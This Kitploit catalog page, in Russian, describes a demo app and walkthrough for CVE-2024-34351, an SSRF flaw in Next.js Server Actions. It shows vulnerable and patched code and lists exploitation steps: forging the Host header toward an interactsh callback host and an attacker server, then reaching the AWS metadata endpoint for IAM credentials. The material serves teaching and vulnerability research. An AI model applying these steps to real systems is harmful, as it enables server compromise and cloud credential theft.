Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2024-34351-demo — Минимальное демо-приложение Next.js 14.0.0 для уязвимости CVE-2024-34351 (SSRF). Включает настройку эксплойта, подтверждение interactsh, перехват Burp и шаги по эскалации AWS metadata. | Kitploit
Инструменты/GitHubGitHub/jinlei-chen-uwo/cve-2024-34351-demo
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность облачных средОбучение и Образование
GitHubjinlei-chen-uwo/cve-2024-34351-demo

cve-2024-34351-demo

Минимальное демо-приложение Next.js 14.0.0 для уязвимости CVE-2024-34351 (SSRF). Включает настройку эксплойта, подтверждение interactsh, перехват Burp и шаги по эскалации AWS metadata.

Репозиторий
105 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Демонстрация CVE-2024-34351

Минимальное приложение Next.js 14.0.0 для демонстрации CVE-2024-34351 — уязвимости Server-Side Request Forgery (SSRF) в Server Actions Next.js.

Обнаружена Адамом Кьюзом и Шубхамом Шахом из Assetnote. Исправлена в Next.js 14.1.1.


Как работает уязвимость

Когда Server Action вызывает redirect('/some-path'), Next.js создает внутренний URL для fetch, используя заголовок Host из входящего запроса без проверки:

// Vulnerable code in createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host']           // attacker-controlled
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... })  // server makes this request

Злоумышленник, контролирующий заголовок Host, может направить этот внутренний fetch на любой адрес, доступный серверу.


Требования

  • Node.js 18+
  • npm
  • Burp Suite Community Edition (бесплатно) для перехвата

Настройка

npm install
npm run build   # must use production build -- dev mode routes redirects differently
npm run start   # app runs at http://localhost:3000

Эксплуатация

Шаг 1 — Подтверждение исходящего запроса с помощью interactsh

interactsh полезен для подтверждения того, что сервер Next.js отправляет исходящий запрос на хост, контролируемый атакующим.

# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Start a session -- note your interaction URL, e.g. abc123.oast.fun
interactsh-client

В Burp Suite:

  1. Перейдите к http://localhost:3000 и отправьте форму входа с включенной перехватом (intercept ON)
  2. В перехваченном POST-запросе измените Host: localhost:3000 на Host: abc123.oast.fun
  3. Перешлите запрос
  4. Проверьте interactsh — вы увидите HEAD-запрос, зарегистрированный от сервера Next.js

Это доказывает исходящую SSRF. Запрос исходит от серверного процесса, а не от браузера.

Шаг 2 — Полное чтение с помощью сервера атакующего

interactsh не может контролировать свой ответ, поэтому Next.js не выполнит GET. Чтобы получить полное тело ответа, используйте включенный сервер атакующего:

python3 attacker/attacker_server.py 8888

Установите заголовок Host в <your-lan-ip>:8888 и перешлите запрос. Сервер атакующего отвечает на HEAD с Content-Type: text/x-component, что вызывает GET. Полное тело ответа возвращается внутри ответа Next.js, видимого в Burp.

Шаг 3 — Эскалация через метаданные AWS (на EC2)

При запуске уязвимого приложения на инстансе AWS EC2 установите заголовок Host на:

Host: 169.254.169.254

Next.js выполнит запрос к сервису метаданных инстанса. Для получения учетных данных IAM:

Host: 169.254.169.254

Затем измените путь перенаправления или используйте последующий запрос для доступа к:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

Полный ответ метаданных возвращается в браузер атакующего.


Исправление (Next.js 14.1.1)

// Patched -- no longer reads from the attacker-controlled request header
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
          ?? process.env.__NEXT_PRIVATE_ORIGIN
          ?? req.headers['host']

Исправление предпочитает process.env.__NEXT_PRIVATE_ORIGIN — устанавливается при запуске сервера, не поддается контролю атакующего.


Ссылки

  • Статья исследования Assetnote
  • Уведомление Assetnote
  • Уведомление GitHub GHSA-fr5h-rqp8-mj6g
  • NVD CVE-2024-34351
  • Патч PR #62561
Скачать инструмент